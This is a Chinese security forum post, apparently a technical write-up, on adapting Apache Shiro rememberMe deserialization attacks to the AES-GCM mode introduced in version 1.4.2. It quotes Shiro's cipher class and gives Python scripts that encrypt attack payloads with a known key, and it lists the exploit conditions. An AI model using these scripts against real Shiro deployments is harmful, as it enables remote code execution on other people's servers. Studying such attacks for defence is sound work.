AES-GCM加密模式的Shiro反序列化利用

加密方式变化

Shiro在1.4.2版本修复了Oracle Padding Attach漏洞,将加密方式从AES-CBC换成了AES-GCM,导致旧版利用工具发送的Payload在新版本Shiro上无法正常解密

Shiro 的 AesCipherService 中定义了加密方式

public class AesCipherService extends DefaultBlockCipherService {
    private static final String ALGORITHM_NAME = "AES";

    public AesCipherService() {
        super("AES");
        this.setMode(OperationMode.GCM);
        this.setStreamingMode(OperationMode.GCM);
        this.setPaddingScheme(PaddingScheme.NONE);
    }

    protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) {
        return (AlgorithmParameterSpec)((!streaming || !OperationMode.GCM.name().equals(this.getStreamingModeName())) && (streaming || !OperationMode.GCM.name().equals(this.getModeName())) ? super.createParameterSpec(iv, streaming) : new GCMParameterSpec(this.getKeySize(), iv));
    }
}

加密脚本变更

AES-GCM 与 AES-CBC的区别在于AES-GCM 不需要对密文进行Padding,并且需要附加一段TAG在密文尾部作为签名校验

旧版本加密:

def encode(p):
    global key
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    print (pad(b"\x01\x01\x01"))
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body=pad(base64.b64decode(p))
    print (base64.b64decode(p))
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 
    print (base64_ciphertext

新版本加密

密文格式为随机生成的16位iv+密文+tag

def encode(p):
    global key
    BS   = AES.block_size
    mode =  AES.MODE_GCM
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body=base64.b64decode(p)
    enc,tag=encryptor.encrypt_and_digest(file_body)
    base64_ciphertext = base64.b64encode(iv + enc+tag)
    print("Encode_result:")
    print(base64_ciphertext)
    print("\n")
    return base64_ciphertext

利用条件

硬编码常见key/任意文件读取获取到key && 存在可利用gadget

Exploit

支持了新版加密模式Shiro的漏洞利用,Key检测,使用指定加密方式加密编码Payload

2 个赞

前排前排,围观大佬新帖


服务器资源由ZeptoVM赞助

Partners Wiki Discord